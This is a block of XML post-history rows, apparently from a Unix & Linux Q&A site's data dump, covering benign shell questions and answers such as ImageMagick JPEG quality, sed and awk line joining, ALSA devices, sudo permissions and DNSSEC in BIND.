  <row Id="34213" PostHistoryTypeId="2" PostId="13696" RevisionGUID="a9bc3390-2de2-4d3c-baf8-862446f54232" CreationDate="2011-05-24T10:12:40.650" UserId="6960" Text="	ls -lah | grep -i Screenshot.jpg&#xD;&#xA;	-rw-rw-r--.  1 USER GROUP 440K May 24 12:10 Screenshot.jpg&#xD;&#xA;	mogrify -compress JPEG Screenshot.jpg -quality 85&#xD;&#xA;	ls -lah | grep -i Screenshot.jpg&#xD;&#xA;	-rw-rw-r--.  1 USER GROUP 441K May 24 12:10 Screenshot.jpg&#xD;&#xA;	# now I'm saving it with GIMP - with 85% JPG compression&#xD;&#xA;	ls -lah | grep -i Screenshot.jpg&#xD;&#xA;	-rw-rw-r--.  1 USER GROUP 135K May 24 12:11 Screenshot.jpg&#xD;&#xA;&#xD;&#xA;Why doesn't ImageMagick compress (JPG) it to a 85% one? GIMP can do it, why doesn't IM can? Using ImageMagick-6.6.4.1-15.fc14.i686" />
  <row Id="34214" PostHistoryTypeId="1" PostId="13696" RevisionGUID="a9bc3390-2de2-4d3c-baf8-862446f54232" CreationDate="2011-05-24T10:12:40.650" UserId="6960" Text="Imagemagick -quality 85 doesn't work!" />
  <row Id="34215" PostHistoryTypeId="3" PostId="13696" RevisionGUID="a9bc3390-2de2-4d3c-baf8-862446f54232" CreationDate="2011-05-24T10:12:40.650" UserId="6960" Text="élinuxàéfedoraàéimagemagickà" />
  <row Id="34216" PostHistoryTypeId="2" PostId="13697" RevisionGUID="800a09f0-6a77-49cc-bc85-d2fe2a521efa" CreationDate="2011-05-24T10:25:40.077" UserId="7492" Text="You've got multiple tools for this :&#xD;&#xA;&#xD;&#xA;* [FS-Driver for ext2/ext3 (freeware)][1]&#xD;&#xA;* [DiskInternals for ext2/ext3,ext4, ResiserFS (shareware )][2]&#xD;&#xA;* [Ext2FSD (freeware) ][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fs-driver.org/&#xD;&#xA;  [2]: http://www.diskinternals.com/linux-reader/&#xD;&#xA;  [3]: http://www.ext2fsd.com/" />
  <row Id="34217" PostHistoryTypeId="2" PostId="13698" RevisionGUID="97a9756b-f7ef-4c91-a703-3148211b4123" CreationDate="2011-05-24T10:32:44.040" UserId="1078" Text="`open(1)` is a symlink to `openvt(1)`, for which the description is &quot;start a program on a new virtual terminal&quot;. To do this, it needs access to the console device to open the virtual terminal. This is not likely the program you are looking for.&#xD;&#xA;&#xD;&#xA;Debian systems have a generic `edit` command that you can use to edit a file. Otherwise, choose a specific editor you want to use and invoke that with `.bash_profile`.&#xD;&#xA;" />
  <row Id="34218" PostHistoryTypeId="2" PostId="13699" RevisionGUID="f85d247c-061e-47e2-8a0b-2c160cb45c91" CreationDate="2011-05-24T10:35:54.973" UserId="7138" Text="I was hacking around and hoping to direct some random data using pipes at /dev/dsa as follows&#xD;&#xA;&#xD;&#xA;      cat random.file &gt; /dev/dsa&#xD;&#xA;&#xD;&#xA;...to get some random noise, but I can't manage to find an audio device. I have looked all around the dev folder, there is nothing called /dev/mixer or /dev/audio. I am running Ubuntu 11.04 on an Eeepc 1001p. " />
  <row Id="34219" PostHistoryTypeId="1" PostId="13699" RevisionGUID="f85d247c-061e-47e2-8a0b-2c160cb45c91" CreationDate="2011-05-24T10:35:54.973" UserId="7138" Text="I don't have a /dev/dsa yet I have audio!" />
  <row Id="34220" PostHistoryTypeId="3" PostId="13699" RevisionGUID="f85d247c-061e-47e2-8a0b-2c160cb45c91" CreationDate="2011-05-24T10:35:54.973" UserId="7138" Text="éubuntuàéaudioà" />
  <row Id="34221" PostHistoryTypeId="2" PostId="13700" RevisionGUID="23d14d3b-56c6-4438-81d4-2e99fe1ce23a" CreationDate="2011-05-24T10:38:00.157" UserId="7727" Text="It looks like the relative ordering of modifier arguments (-quality NN) and filenames does matter here, almost like it's doing what it's told in a very, very simplistic way. &#xD;&#xA;&#xD;&#xA;    : cez@rhk; !ls&#xD;&#xA;    ls -lh Screenshot.jpg &#xD;&#xA;    -rw-r--r--  1 cez  staff   1.3M  5 24 19:20 Screenshot.jpg&#xD;&#xA;    : cez@rhk; mogrify -verbose -monitor -compress JPEG Screenshot.jpg -quality 10&#xD;&#xA;    load image[Screenshot.jpg]: 1079 of 1080, 100% complete&#xD;&#xA;    Screenshot.jpg JPEG 1920x1080 1920x1080+0+0 8-bit DirectClass 1.335MB 0.120u 0:05.680&#xD;&#xA;    save image[Screenshot.jpg]: 1079 of 1080, 100% complete&#xD;&#xA;    Screenshot.jpg JPEG 1920x1080 1920x1080+0+0 8-bit DirectClass 1.327MB 0.240u 0:02.960&#xD;&#xA;    : cez@rhk; &#xD;&#xA;&#xD;&#xA;So, the first time we run mogrify, we specify the `-quality` argument *after* the filename, and so it doesn't know that the quality specifier should apply to that image. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    : cez@rhk;mogrify -verbose -monitor -compress JPEG -quality 85 Screenshot.jpg &#xD;&#xA;    load image[Screenshot.jpg]: 1079 of 1080, 100% complete&#xD;&#xA;    Screenshot.jpg JPEG 1920x1080 1920x1080+0+0 8-bit DirectClass 1.341MB 0.100u 0:00.119&#xD;&#xA;    save image[Screenshot.jpg]: 1079 of 1080, 100% complete&#xD;&#xA;    Screenshot.jpg JPEG 1920x1080 1920x1080+0+0 8-bit DirectClass 459KB 0.190u 0:00.200&#xD;&#xA;    : cez@rhk; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Conversely, if we specify the quality setting *before*  the image filename, it'll save the image with more compression, reducing the filesize. " />
  <row Id="34222" PostHistoryTypeId="2" PostId="13701" RevisionGUID="5d31deaa-715b-4602-ab44-a6350be344a3" CreationDate="2011-05-24T10:53:03.187" UserId="7727" Text="You might well be using alsa--If there is a `/dev/snd` directory, then that likely the case. Also, according to the  [Alsa-mini Howto](http://tldp.org/HOWTO/Alsa-sound-6.html), the results of running `cat /proc/asound/cards` should contain information on your soundcard. " />
  <row Id="34223" PostHistoryTypeId="2" PostId="13702" RevisionGUID="f99e0507-d121-4783-a478-61a93443c5fa" CreationDate="2011-05-24T10:59:58.603" UserId="7727" Text="You might want to try running `sudo -l`, which will give you a listing of what permissions you have, according to the local `sudo` configuration. Eg: on my Macbook, I get:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    : cez@rhk; sudo -l&#xD;&#xA;    Password:&#xD;&#xA;    Matching Defaults entries for cez on this host:&#xD;&#xA;        env_reset, env_keep+=BLOCKSIZE, env_keep+=&quot;COLORFGBG COLORTERM&quot;, env_keep+=__CF_USER_TEXT_ENCODING,&#xD;&#xA;        env_keep+=&quot;CHARSET LANG LANGUAGE LC_ALL LC_COLLATE LC_CTYPE&quot;, env_keep+=&quot;LC_MESSAGES LC_MONETARY LC_NUMERIC&#xD;&#xA;        LC_TIME&quot;, env_keep+=&quot;LINES COLUMNS&quot;, env_keep+=LSCOLORS, env_keep+=SSH_AUTH_SOCK, env_keep+=TZ,&#xD;&#xA;        env_keep+=&quot;DISPLAY XAUTHORIZATION XAUTHORITY&quot;, env_keep+=&quot;EDITOR VISUAL&quot;&#xD;&#xA;    &#xD;&#xA;    User cez may run the following commands on this host:&#xD;&#xA;        (ALL) ALL&#xD;&#xA;    : cez@rhk; &#xD;&#xA;&#xD;&#xA;The `(ALL) ALL` part means that my user can run any commands as any user (AFAICS)." />
  <row Id="34224" PostHistoryTypeId="2" PostId="13703" RevisionGUID="cfda52e6-8dd9-496a-9ec7-29ba1b043019" CreationDate="2011-05-24T11:13:07.220" UserId="7727" Text="Well, the question of which libglx.so is loaded by applications is determined by your shell environment, not by the X server itself (this makes sense when you consider that X11 was designed to be able to display applications running on a remote machine). &#xD;&#xA;&#xD;&#xA;So, assuming that your xorg `libglx.so` is under `/usr/X11R6/lib` and that for your nvidia cards is under `/usr/X11R6/lib/nvidia` then you can do:&#xD;&#xA;&#xD;&#xA;    # for the nvidia drivers&#xD;&#xA;    env LD_LIBRARY_PATH=/usr/X11R6/lib/nvidia quake3&#xD;&#xA;    # for the Radeon version:&#xD;&#xA;    env LD_LIBRARY_PATH=/usr/X11R6/lib quake3&#xD;&#xA;&#xD;&#xA;But that said, my reading of your X11 configuration states that you're not using Xinerama, but instead using separate screens that you (AFAICS) migrate windows between. Assuming that's true, then you won't have a problem.&#xD;&#xA;&#xD;&#xA;Otherwise, I can potentially imagine a great deal of confusion happening when an an application which has the radeon glx drivers loaded starts up on the nvidia head. " />
  <row Id="34225" PostHistoryTypeId="2" PostId="13704" RevisionGUID="bc123b91-2f7a-4eff-93f3-150baebd503d" CreationDate="2011-05-24T11:40:36.577" UserId="7226" Text="a shorter and simpler sed solution:&#xD;&#xA;&#xD;&#xA;    sed  '&#xD;&#xA;    : again&#xD;&#xA;    /\\$/ {&#xD;&#xA;        N&#xD;&#xA;        s/\\\n//&#xD;&#xA;        t again&#xD;&#xA;    }&#xD;&#xA;    ' textfile&#xD;&#xA;&#xD;&#xA;or one-liner:&#xD;&#xA;&#xD;&#xA;    sed ': x; /\\$/ { N; s/\\\n//; t x }' textfile" />
  <row Id="34226" PostHistoryTypeId="5" PostId="13704" RevisionGUID="4c03e6da-70dd-48cb-8c47-1a033f7cc8e8" CreationDate="2011-05-24T11:46:31.563" UserId="7226" Comment="deleted 2 characters in body" Text="a shorter and simpler sed solution:&#xD;&#xA;&#xD;&#xA;    sed  '&#xD;&#xA;    : again&#xD;&#xA;    /\\$/ {&#xD;&#xA;        N&#xD;&#xA;        s/\\\n//&#xD;&#xA;        t again&#xD;&#xA;    }&#xD;&#xA;    ' textfile&#xD;&#xA;&#xD;&#xA;or one-liner:&#xD;&#xA;&#xD;&#xA;    sed ':x; /\\$/ { N; s/\\\n//; tx }' textfile" />
  <row Id="34227" PostHistoryTypeId="25" PostId="13693" RevisionGUID="499c72c3-3ab0-49d7-9034-3e408b732526" CreationDate="2011-05-24T12:12:37.563" Comment="http://twitter.com/#!/StackUnix/status/72998432444387328" />
  <row Id="34228" PostHistoryTypeId="5" PostId="13690" RevisionGUID="afdc6889-0b47-48f4-a15f-7f3329bfc83d" CreationDate="2011-05-24T13:49:19.973" UserId="5131" Comment="Add workaround for sub-standard should-have-been-expunged-aeons-ago shells" Text="    sed '/^$/{i\&#xD;&#xA;    % ghi\&#xD;&#xA;    %&#xD;&#xA;    d&#xD;&#xA;    }'&#xD;&#xA;&#xD;&#xA;When `sed` finds a blank line, this inserts the two lines '`% ghi`' and '`%`', then deletes the blank line.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;From the comments&#xD;&#xA;&#xD;&#xA;&gt; This produces a syntax error.&#xD;&#xA;&#xD;&#xA;Use a real shell instead of a sea-shell; it will save everyone grief in the long run.  Place the commands on 5 lines of a simple file and use `sed -f sed.script`.  There are probably other ways to achieve this in C shell - this works, though:&#xD;&#xA;&#xD;&#xA;    echo '/^$/{\'  &gt; sed.script&#xD;&#xA;    echo '% ghi\' &gt;&gt; sed.script&#xD;&#xA;    echo '%'      &gt;&gt; sed.script&#xD;&#xA;    echo 'd'      &gt;&gt; sed.script&#xD;&#xA;    echo '}'      &gt;&gt; sed.script&#xD;&#xA;    sed -f sed.script data.file&#xD;&#xA;    rm -f sed.script&#xD;&#xA;" />
  <row Id="34229" PostHistoryTypeId="2" PostId="13705" RevisionGUID="703f7691-2f21-41e7-904d-72eb16505335" CreationDate="2011-05-24T14:05:46.677" UserId="5824" Text="1. The local resolver you've set up will not use your ISP's resolver at all by default.  It'll starting asking the root directly for answers for everything it needs.  The root will hand back answers that say things like &quot;I don't know where `www.example.com` is; you should go talk to `com` and here are a set of addresses for how to talk to `com`&quot; (and off you'd go trying to talk to `com`, which would refer you to `example.com`)&quot;.  In the end, you'll follow the chain until you got your answer.  If you ever needed to find `ftp.example.com`, your local resolver would have a &quot;cache&quot; that will allow it to go straight to the `example.com` servers, or if you wanted `foo.com` it would go straight to the `com` servers and wouldn't ask the root.&#xD;&#xA;&#xD;&#xA;2. For DNSSEC, much of the world has deployed it from the top down but the lower domains haven't.  The root has been signed, `com` has been signed, `net` has been signed, etc.  But `facebook.com`, `google.com`, etc hasn't.  Fortunately DNSSEC has been designed to allow for this and software that tries to securely follow DNS records will eventually get to a nameserver (`com` for example` that says &quot;I don't know where `www.facebook.com` is and you should go talk to `facebook.com` and oh, by the way, they're not secured yet&quot;.  IE, DNSSEC offers you something called *provably insecure*.  This lets you know with certainty that a parent of a zone says the child isn't signed (which is a simplification; they could have signed but not &quot;chained&quot; yet).&#xD;&#xA;&#xD;&#xA;It's worth noting that DNSSEC is not enabled by default and you need to turn it on within the bind configuration files.  I think the default fedora named.conf now has DNSSEC enabled, but you should check.  In your named.conf file you'll find hopefully a section that has a trusted-key for the root:&#xD;&#xA;&#xD;&#xA;    trusted-keys {&#xD;&#xA;      . 257 3 8 &quot;AwEAAagAIKlVZr...&quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;And an options section that turns on DNSSEC validation:&#xD;&#xA;&#xD;&#xA;    options {&#xD;&#xA;        dnssec-enable yes;&#xD;&#xA;        dnssec-validation yes;&#xD;&#xA;    };&#xD;&#xA;&#xD;&#xA;With this on, if you do a `dig +dnssec www.dnssec-tools.org`, for example, you should see the `AD` flag returned in the output.  The `AD` flag means that the record has been verified through DNSSEC.  If you search for `www.facebook.com` you won't see this flag.&#xD;&#xA;&#xD;&#xA;    # dig +dnssec www.dnssec-tools.org&#xD;&#xA;    ...&#xD;&#xA;    ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1&#xD;&#xA;                       ^^&#xD;&#xA;                       ^^" />
  <row Id="34230" PostHistoryTypeId="2" PostId="13706" RevisionGUID="ab9e7f03-62a2-4fcc-b822-53989a2e3db9" CreationDate="2011-05-24T14:53:33.400" UserId="7635" Text="I'm running Grub .97 with an OpenSuSE 11.2 and Windows XP installation.  I configure the grub password in OpenSuSE 11.2 via the `Boot Loader` module.  However, when I type in the password in grub, during bootup, I simply get a `Failed` message.  I have tried about three or four different passwords.  I can boot up, I just can't use the password to edit anything about grub.&#xD;&#xA;&#xD;&#xA;I have also tried setting the grub password via the command line by typing `grub` to go to the interactive menu, typing `md5crypt`, typing my password, and copying the hashed password to the menu.lst file.  Still no luck when I enter the password." />
  <row Id="34231" PostHistoryTypeId="1" PostId="13706" RevisionGUID="ab9e7f03-62a2-4fcc-b822-53989a2e3db9" CreationDate="2011-05-24T14:53:33.400" UserId="7635" Text="Grub does not recognize password" />
  <row Id="34232" PostHistoryTypeId="3" PostId="13706" RevisionGUID="ab9e7f03-62a2-4fcc-b822-53989a2e3db9" CreationDate="2011-05-24T14:53:33.400" UserId="7635" Text="égrubàéopensuseàédualöbootà" />
  <row Id="34233" PostHistoryTypeId="2" PostId="13707" RevisionGUID="50d867f7-2ec9-4af8-99ad-6753c23435e0" CreationDate="2011-05-24T15:06:29.037" UserId="1294" Text="`grep` like most regular expression engines translates the pattern that you specify into a [deterministic finite-state automaton][1] (DFA). &#xD;&#xA;&#xD;&#xA;A common way of expressing case insensitivity is by using character classes for each alphabetic, therefore your example would be more like `[aA][bB][cC]`. Individual character class matches are often implemented as bit-set lookups where a bit set containing `1`s in the positions corresponding to `a` and `A` is built at regular expression -&gt; DFA compile time.&#xD;&#xA;&#xD;&#xA;That means that to match `[aA]` the DFA need only take the value of the input character, use it as an index to the bit-set - which is an _O_(1) operation - so you don't see the combinatoric time explosion that your equivalent&#xD;&#xA;&#xD;&#xA;    &quot;abc|abC|aBc|aBC|Abc|AbC|ABc|ABC&quot;&#xD;&#xA;&#xD;&#xA;would suggest. DFA construction from regular expressions is an application of &quot;if you are willing to spend some time up front (DFA building) you can really save cycles later (DFA recognition).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Deterministic_finite-state_machine" />
  <row Id="34234" PostHistoryTypeId="25" PostId="13699" RevisionGUID="1b591616-f922-4117-86a5-4e01980fe66e" CreationDate="2011-05-24T15:12:37.803" Comment="http://twitter.com/#!/StackUnix/status/73043729841266688" />
  <row Id="34235" PostHistoryTypeId="2" PostId="13708" RevisionGUID="7b21e716-0aa4-4ee3-912f-54000f11af1d" CreationDate="2011-05-24T15:22:52.230" UserId="2974" Text="In many cases, the simplest solution is to use `nohup` and put the non-interactive process into the background using `&amp;` and redirect standard output and standard error to files." />
  <row Id="34236" PostHistoryTypeId="10" PostId="13693" RevisionGUID="386a828f-6a75-4f4c-b909-ecbe1289aa3b" CreationDate="2011-05-24T15:39:26.780" UserId="29" CloseReasonId="2" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="34237" PostHistoryTypeId="2" PostId="13709" RevisionGUID="23b232f2-a86f-4744-8564-74d5edf9a53b" CreationDate="2011-05-24T16:01:08.707" UserId="2343" Text="This is not an answer as such. It is a side issue about `sed`.   &#xD;&#xA;&#xD;&#xA;Specifically, I needed to take Gilles `sed` command apart piece by piece to understand it... I started writing some notes on it, and then thought it may be useful here to someone...  &#xD;&#xA;&#xD;&#xA;so here it is... Gilles' sed **script**  in **executable** and **documented** format:  &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #######################################&#xD;&#xA;    sed_dat=&quot;$HOME/ztest.dat&quot;&#xD;&#xA;    while IFS= read -r line ;do echo &quot;$line&quot; ;done &lt;&lt;'END_DAT' &gt;&quot;$sed_dat&quot;&#xD;&#xA;    foo bar \&#xD;&#xA;    bash \&#xD;&#xA;    baz&#xD;&#xA;    dude \&#xD;&#xA;    happy&#xD;&#xA;    yabba dabba &#xD;&#xA;    doo&#xD;&#xA;    END_DAT&#xD;&#xA;&#xD;&#xA;    #######################################&#xD;&#xA;    sedexec=&quot;$HOME/ztest.sed&quot;&#xD;&#xA;    while IFS= read -r line ;do echo &quot;$line&quot; ;done &lt;&lt;'END-SED' &gt;&quot;$sedexec&quot;; \&#xD;&#xA;    chmod +x &quot;$sedexec&quot;; \&#xD;&#xA;    sed  -nf &quot;$sedexec&quot; &quot;$sed_dat&quot;&#xD;&#xA;    #!/bin/sed&#xD;&#xA;    &#xD;&#xA;      s/\\$//        # If a line has trailing '\', remove the '\'&#xD;&#xA;                     #    &#xD;&#xA;      t'Hold-append' # branch: Branch conditionally to the label 'Hold-append'&#xD;&#xA;                     #         The condition is that a replacement was made.&#xD;&#xA;                     #         The current pattern-space had a trailing '\' which  &#xD;&#xA;                     #         was replaced, so branch to 'Hold-apend' and append &#xD;&#xA;                     #         the now-truncated line to the hold-space&#xD;&#xA;                     #&#xD;&#xA;                     # This branching occurs for each (successive) such line. &#xD;&#xA;                     #&#xD;&#xA;                     # PS. The 't' command may be so named because it means 'on true' &#xD;&#xA;                     #     (I'm not sure about this, but the shoe fits)  &#xD;&#xA;                     #&#xD;&#xA;                     # Note: Appending to the hold-space introduces a leading '\n'   &#xD;&#xA;                     #       delimiter for each appended line&#xD;&#xA;                     #  &#xD;&#xA;                     #   eg. compare the hex dump of the follow 4 example commands:  &#xD;&#xA;                     #       'x' swaps the hold and patten spaces&#xD;&#xA;                     #&#xD;&#xA;                     #       echo -n &quot;a&quot; |sed -ne         'p' |xxd -p  ## 61 &#xD;&#xA;                     #       echo -n &quot;a&quot; |sed -ne     'H;x;p' |xxd -p  ## 0a61&#xD;&#xA;                     #       echo -n &quot;a&quot; |sed -ne   'H;H;x;p' |xxd -p  ## 0a610a61&#xD;&#xA;                     #       echo -n &quot;a&quot; |sed -ne 'H;H;H;x;p' |xxd -p  ## 0a610a610a61&#xD;&#xA;               &#xD;&#xA;       # No replacement was made above, so the current pattern-space&#xD;&#xA;       #   (input line) has a &quot;normal&quot; ending.&#xD;&#xA;         &#xD;&#xA;       x             # Swap the pattern-space (the just-read &quot;normal&quot; line)&#xD;&#xA;                     #   with the hold-space. The hold-space holds the accumulation&#xD;&#xA;                     #   of appended  &quot;stripped-of-backslah&quot; lines&#xD;&#xA;                    &#xD;&#xA;       G             # The pattern-space now holds zero to many &quot;stripped-of-backslah&quot; lines&#xD;&#xA;                     #   each of which has a preceding '\n'&#xD;&#xA;                     # The 'G' command Gets the Hold-space and appends it to &#xD;&#xA;                     #   the pattern-space. This append action introduces another&#xD;&#xA;                     #   '\n' delimiter to the pattern space. &#xD;&#xA;                         &#xD;&#xA;       s/\n//g       # Remove all '\n' newlines from the pattern-space&#xD;&#xA;           &#xD;&#xA;       p             # Print the pattern-space&#xD;&#xA;                   &#xD;&#xA;       s/.*//        # Now we need to remove all data from the pattern-space&#xD;&#xA;                     # This is done as a means to remove data from the hold-space &#xD;&#xA;                     #  (there is no way to directly remove data from the hold-space)&#xD;&#xA;     &#xD;&#xA;       x             # Swap the no-data pattern space with the hold-space&#xD;&#xA;                     # This leaves the hold-space re-initialized to empty...&#xD;&#xA;                     # The current pattern-space will be overwritten by the next line-read&#xD;&#xA;                       &#xD;&#xA;       b             # Everything is ready for the next line-read. It is time to make &#xD;&#xA;                     # an unconditional branch  the to end of process for this line&#xD;&#xA;                     #  ie. skip any remaining logic, read the next line and start the process again.&#xD;&#xA;                    &#xD;&#xA;      :'Hold-append' # The ':' (colon) indicates a label.. &#xD;&#xA;                     # A label is the target of the 2 branch commands, 'b' and 't'&#xD;&#xA;                     # A label can be a single letter (it is often 'a')&#xD;&#xA;                     # Note;  'b' can be used without a label as seen in the previous command &#xD;&#xA;         &#xD;&#xA;        H            # Append the pattern to the hold buffer&#xD;&#xA;                     # The pattern is prefixed with a '\n' before it is appended&#xD;&#xA;    &#xD;&#xA;    END-SED&#xD;&#xA;    #######&#xD;&#xA;" />
  <row Id="34238" PostHistoryTypeId="5" PostId="12966" RevisionGUID="af47de06-77fc-492e-b766-7bfec8d61623" CreationDate="2011-05-24T16:01:46.990" UserId="885" Comment="title; added prose" Text="I want to copy all the `.html` files in `myDir` and its subdirectories to `~/otherDir`. Here's what I tried (it doesn't work):&#xD;&#xA;&#xD;&#xA;    $ find myDir -name *.html -print | xargs -0 cp ~/otherDir&#xD;&#xA;    usage: cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file target_file&#xD;&#xA;           cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file ... target_directory&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34239" PostHistoryTypeId="4" PostId="12966" RevisionGUID="af47de06-77fc-492e-b766-7bfec8d61623" CreationDate="2011-05-24T16:01:46.990" UserId="885" Comment="title; added prose" Text="How to copy all html files from a directory tree to a single directory?" />
  <row Id="34240" PostHistoryTypeId="6" PostId="12966" RevisionGUID="af47de06-77fc-492e-b766-7bfec8d61623" CreationDate="2011-05-24T16:01:46.990" UserId="885" Comment="title; added prose" Text="éosxàéfindàéwildcardsàécpà" />
  <row Id="34241" PostHistoryTypeId="5" PostId="13681" RevisionGUID="59c688b5-a410-419b-9718-470747fc6d7f" CreationDate="2011-05-24T16:39:52.923" UserId="885" Comment="neurino's sed solution is pretty good" Text="Here's an awk solution. If a line ends with a `\`, strip the backslash and print the line with no terminating newline; otherwise print the line with a terminating newline.&#xD;&#xA;&#xD;&#xA;    awk '{if (sub(/\\$/,&quot;&quot;)) printf &quot;%s&quot;, $0; else print $0}'&#xD;&#xA;&#xD;&#xA;[It's also not too bad in sed, though awk is obviously more readable.](http://unix.stackexchange.com/questions/13676/how-can-you-combine-all-lines-that-end-with-a-backslash-character/13704#13704)&#xD;&#xA;" />
  <row Id="34242" PostHistoryTypeId="5" PostId="13709" RevisionGUID="97a83f87-41fe-45ac-a8dc-03ce33eca2cb" CreationDate="2011-05-24T16:40:45.153" UserId="2343" Comment="deleted 63 characters in body" Text="This is not an answer as such. It is a side issue about `sed`.   &#xD;&#xA;&#xD;&#xA;Specifically, I needed to take Gilles `sed` command apart piece by piece to understand it... I started writing some notes on it, and then thought it may be useful here to someone...  &#xD;&#xA;&#xD;&#xA;so here it is... Gilles' sed **script**  in **documented** format:  &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #######################################&#xD;&#xA;    sed_dat=&quot;$HOME/ztest.dat&quot;&#xD;&#xA;    while IFS= read -r line ;do echo &quot;$line&quot; ;done &lt;&lt;'END_DAT' &gt;&quot;$sed_dat&quot;&#xD;&#xA;    foo bar \&#xD;&#xA;    bash \&#xD;&#xA;    baz&#xD;&#xA;    dude \&#xD;&#xA;    happy&#xD;&#xA;    yabba dabba &#xD;&#xA;    doo&#xD;&#xA;    END_DAT&#xD;&#xA;&#xD;&#xA;    #######################################&#xD;&#xA;    sedexec=&quot;$HOME/ztest.sed&quot;&#xD;&#xA;    while IFS= read -r line ;do echo &quot;$line&quot; ;done &lt;&lt;'END-SED' &gt;&quot;$sedexec&quot;; \&#xD;&#xA;    sed  -nf &quot;$sedexec&quot; &quot;$sed_dat&quot;&#xD;&#xA;    &#xD;&#xA;      s/\\$//        # If a line has trailing '\', remove the '\'&#xD;&#xA;                     #    &#xD;&#xA;      t'Hold-append' # branch: Branch conditionally to the label 'Hold-append'&#xD;&#xA;                     #         The condition is that a replacement was made.&#xD;&#xA;                     #         The current pattern-space had a trailing '\' which  &#xD;&#xA;                     #         was replaced, so branch to 'Hold-apend' and append &#xD;&#xA;                     #         the now-truncated line to the hold-space&#xD;&#xA;                     #&#xD;&#xA;                     # This branching occurs for each (successive) such line. &#xD;&#xA;                     #&#xD;&#xA;                     # PS. The 't' command may be so named because it means 'on true' &#xD;&#xA;                     #     (I'm not sure about this, but the shoe fits)  &#xD;&#xA;                     #&#xD;&#xA;                     # Note: Appending to the hold-space introduces a leading '\n'   &#xD;&#xA;                     #       delimiter for each appended line&#xD;&#xA;                     #  &#xD;&#xA;                     #   eg. compare the hex dump of the follow 4 example commands:  &#xD;&#xA;                     #       'x' swaps the hold and patten spaces&#xD;&#xA;                     #&#xD;&#xA;                     #       echo -n &quot;a&quot; |sed -ne         'p' |xxd -p  ## 61 &#xD;&#xA;                     #       echo -n &quot;a&quot; |sed -ne     'H;x;p' |xxd -p  ## 0a61&#xD;&#xA;                     #       echo -n &quot;a&quot; |sed -ne   'H;H;x;p' |xxd -p  ## 0a610a61&#xD;&#xA;                     #       echo -n &quot;a&quot; |sed -ne 'H;H;H;x;p' |xxd -p  ## 0a610a610a61&#xD;&#xA;               &#xD;&#xA;       # No replacement was made above, so the current pattern-space&#xD;&#xA;       #   (input line) has a &quot;normal&quot; ending.&#xD;&#xA;         &#xD;&#xA;       x             # Swap the pattern-space (the just-read &quot;normal&quot; line)&#xD;&#xA;                     #   with the hold-space. The hold-space holds the accumulation&#xD;&#xA;                     #   of appended  &quot;stripped-of-backslah&quot; lines&#xD;&#xA;                    &#xD;&#xA;       G             # The pattern-space now holds zero to many &quot;stripped-of-backslah&quot; lines&#xD;&#xA;                     #   each of which has a preceding '\n'&#xD;&#xA;                     # The 'G' command Gets the Hold-space and appends it to &#xD;&#xA;                     #   the pattern-space. This append action introduces another&#xD;&#xA;                     #   '\n' delimiter to the pattern space. &#xD;&#xA;                         &#xD;&#xA;       s/\n//g       # Remove all '\n' newlines from the pattern-space&#xD;&#xA;           &#xD;&#xA;       p             # Print the pattern-space&#xD;&#xA;                   &#xD;&#xA;       s/.*//        # Now we need to remove all data from the pattern-space&#xD;&#xA;                     # This is done as a means to remove data from the hold-space &#xD;&#xA;                     #  (there is no way to directly remove data from the hold-space)&#xD;&#xA;     &#xD;&#xA;       x             # Swap the no-data pattern space with the hold-space&#xD;&#xA;                     # This leaves the hold-space re-initialized to empty...&#xD;&#xA;                     # The current pattern-space will be overwritten by the next line-read&#xD;&#xA;                       &#xD;&#xA;       b             # Everything is ready for the next line-read. It is time to make &#xD;&#xA;                     # an unconditional branch  the to end of process for this line&#xD;&#xA;                     #  ie. skip any remaining logic, read the next line and start the process again.&#xD;&#xA;                    &#xD;&#xA;      :'Hold-append' # The ':' (colon) indicates a label.. &#xD;&#xA;                     # A label is the target of the 2 branch commands, 'b' and 't'&#xD;&#xA;                     # A label can be a single letter (it is often 'a')&#xD;&#xA;                     # Note;  'b' can be used without a label as seen in the previous command &#xD;&#xA;         &#xD;&#xA;        H            # Append the pattern to the hold buffer&#xD;&#xA;                     # The pattern is prefixed with a '\n' before it is appended&#xD;&#xA;    &#xD;&#xA;    END-SED&#xD;&#xA;    #######&#xD;&#xA;" />
  <row Id="34243" PostHistoryTypeId="5" PostId="13696" RevisionGUID="2adee0f2-ffbe-4cd4-a504-5a3f6704cb02" CreationDate="2011-05-24T16:53:10.540" UserId="885" Comment="wording; title; tags" Text="I run `mogrify` to compress a JPEG image to 85% quality:&#xD;&#xA;&#xD;&#xA;	$ ls -lah Screenshot.jpg&#xD;&#xA;	-rw-rw-r--.  1 USER GROUP 440K May 24 12:10 Screenshot.jpg&#xD;&#xA;	$ mogrify -compress JPEG Screenshot.jpg -quality 85&#xD;&#xA;	$ ls -lah Screenshot.jpg&#xD;&#xA;	-rw-rw-r--.  1 USER GROUP 441K May 24 12:10 Screenshot.jpg&#xD;&#xA;&#xD;&#xA;The size doesn't shrink. Yet if I open the image in Gimp and save at 85% quality, the size does shrink:&#xD;&#xA;&#xD;&#xA;	ls -lah Screenshot.jpg&#xD;&#xA;	-rw-rw-r--.  1 USER GROUP 135K May 24 12:11 Screenshot.jpg&#xD;&#xA;&#xD;&#xA;Why doesn't ImageMagick compress the JPEG image to 85%? I'm using ImageMagick-6.6.4.1-15.fc14.i686 on Fedora.&#xD;&#xA;" />
